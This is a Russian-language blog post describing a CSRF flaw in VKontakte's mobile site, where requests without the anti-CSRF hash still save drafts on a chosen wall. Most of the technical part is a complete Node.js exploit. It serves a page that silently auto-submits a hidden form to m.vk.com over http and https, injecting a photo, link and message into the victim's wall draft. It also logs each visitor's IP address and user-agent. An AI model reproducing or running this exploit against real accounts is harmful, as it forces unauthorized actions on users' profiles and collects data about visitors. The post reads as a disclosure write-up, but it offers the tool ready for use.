Приветствую тебя, мой добрый друг!
Пришло время еще одной статьи об уязвимостях, CSRF атаках и секретных агентах!
Скорей же, ныряй под кат!
Сначала немножко отойдем от темы.
В моей прошлой статье, о Clickjacking’e, я сделал презентацию на незакрытой, на тот момент, уязвимости. Ну и понятное дело, отхватил пару минусов. Преимущественно от работников ВК. Хотелось бы высказаться по этому поводу: та статья была показательной, а так как человек лучше всего запоминает реальные примеры из жизни, я сделал на это упор. Кому-то это не понравилось. Прошу прощения, но буду вынужден огорчить. В данной статье мы опять коснемся уязвимости ВК. Но не стоит обижаться раньше времени! Это будет теплый предрождественский пост :)
И еще одно, опять не о теме топика, но и сейчас не стоит закрывать вкладку и продолжать сёрфить интернет! Дело в том, что я студент, с кучей проблем и нехваткой свободного времени. Но пока я делал Jailbreak для ios 7.0.* (да-да, все верно) я нашел несколько интересных уязвимостей в ios 7 версии. Ничего страшного, просто еще порция веселья. К чему я это все: прикрепил к посту опрос, где Хабрапользователи решат, начинать ли мне цикл статей о данных уязвимостях.
На этом все, перейдем же к вкусности сегодняшнего поста!
Разбираемся в анатомии агентов
Итак, в данной статье мы рассмотрим уязвимость ВК, которая позволяет нам внедрить в черновик сообщения на любой дружеской пользовательской стене сообщение/картинку/ссылку/видеоролик/документ и т.д. Да хоть все вместе!
Используя CSRF уязвимость – героиню сегодняшнего дня.
Авторизируемся в ВК и отслеживаем данные, передаваемые серверу при создании записи на нашей стене.
ВКонтакте реализована простая и эффективная защита от CSRF атак: в переменной hash содержится специально сгенерированная строка, которая проверяется каждый раз, когда сервер принимает ваш запрос. Ну и, разумеется, при несовпадении проверочной строки на сервере и нашей отправленной строки, запрос не обработается. Это не что иное, как CSRF token.
А вот возьмем и сделаем проверку на дурака! Отправим запрос, не содержащий в себе переменной hash.
Как мы видим, защита отработала корректно. Запрос не обработался. Но сдаваться было бы просто глупо.
Введем в адресной строке сайт мобильной версии ВК и перейдем на него. И да, мы просто войдем в мобильную версию сайта. Разве мы вводили пароль? Я не помню. Тогда что же произошло? Давайте разбираться!
В данной части я могу ошибаться, поправьте, пожалуйста, если я не прав.
При первой успешной авторизации, сервер ВК устанавливает Cookie на поддомены.
Следовательно, куки валидны и для *.vk.com
Попытаемся провести вышеописанные действия, но уже с мобильным сайтом ВК.
Отправляем на свою стену текст.
Переменная hash есть и здесь. Попробуем опять послать запрос, но уже без нее.
Хм, по всем признакам, наш запрос не обработался. В ответе нам говорится, что нужно перейти на другую страницу, переходим.
Да, наша догадка подтвердилась. Доверяй, но проверяй!
Как мы видим, запрос обработался частично. Т.е запостить запись нам не удалось, но черновик то мы сохранили :)
Остается совсем чуть-чуть.
Пишем exploit
if (!(process.argv[2] && process.argv[3] && process.argv[4] && process.argv[5])) {
console.log('Usage: ' + process.argv[0] + ' ' + process.argv[1] + ' wallID picID Href-like-text message');
process.exit(1) };
var http = require('http'),
payload = '<html>n' +
'<head>n' +
'<title>SenDey"s day! fil9 2014</title>n' +
'</head>n' +
'<body>n' +
'<center><img width="400" height="400" src="http://0day-4you.ru/uploads/posts/2012-02/1329918231_68217548_01.png"></img></center>n' + //котик
'<iframe name="sandbox" width="1" height="1"></iframe>n' + //мусорка
'<form method="POST" id="payload" target="sandbox">n' +
'<input type="hidden" name="attach1" value="' + process.argv[3].replace(/"/g, "") + '"> n' +//picID
'<input type="hidden" name="attach1_type" value="photo"> <!-- type of attach1 -->n' +
'<input type="hidden" name="attach2_type" value="share"> <!-- type of attach2 -->n' +
'<input type="hidden" name="url" value="http://' + process.argv[4].replace(/"/g, "") + '.sendey/"> n' + //Href-like text. JFF
'<input type="hidden" name="message" value="' + process.argv[5].replace(/"/g, "") + '">n' + //message
'</form>n' +
'<script>n' +
'var payload = document.getElementById("payload");n' +
'if(payload){n' +
'var protocols = new Array("http","https");n' +
'for(var i=0;i<=protocols.length-1;i++){n' + //отрабатываем оба протокола
'payload.action=protocols[i]+"://m.vk.com/wall' + process.argv[2].replace(/"/g, "") + '?act=post&from=profile";n' + //target Wall
'payload.submit()};n' +
'var newloc=function(){document.location="http://m.vk.com/wall' + process.argv[2].replace(/"/g, "") + '#wall"};n' + //фокус сразу на наш текст
'setTimeout("newloc()",1000)}n' + //секунда на котика. А то возникнет баг в Chrome
'</script>n' +
'</body>n' +
'</html>n';
http.createServer(function (rq, rs) {
rs.writeHead(200, {
'Content-Type': 'text/html' });
console.log('----------------------------n' + 'Url: ' + rq.url + 'n' +
'Ip: ' + rq.connection.remoteAddress + 'n' +
'User-agent: ' + rq.headers['user-agent'] + 'n' +
'----------------------------n');
rs.end(payload);
}).listen(8080); //стартуем на 0.0.0.0:8080
Ну и какой же explot без демонстрации :)
Надеюсь, вам понравилось. Прошу незамедлительно сообщать обо всех моих недочетах и ошибках, я постараюсь их исправить.
Автор: fil9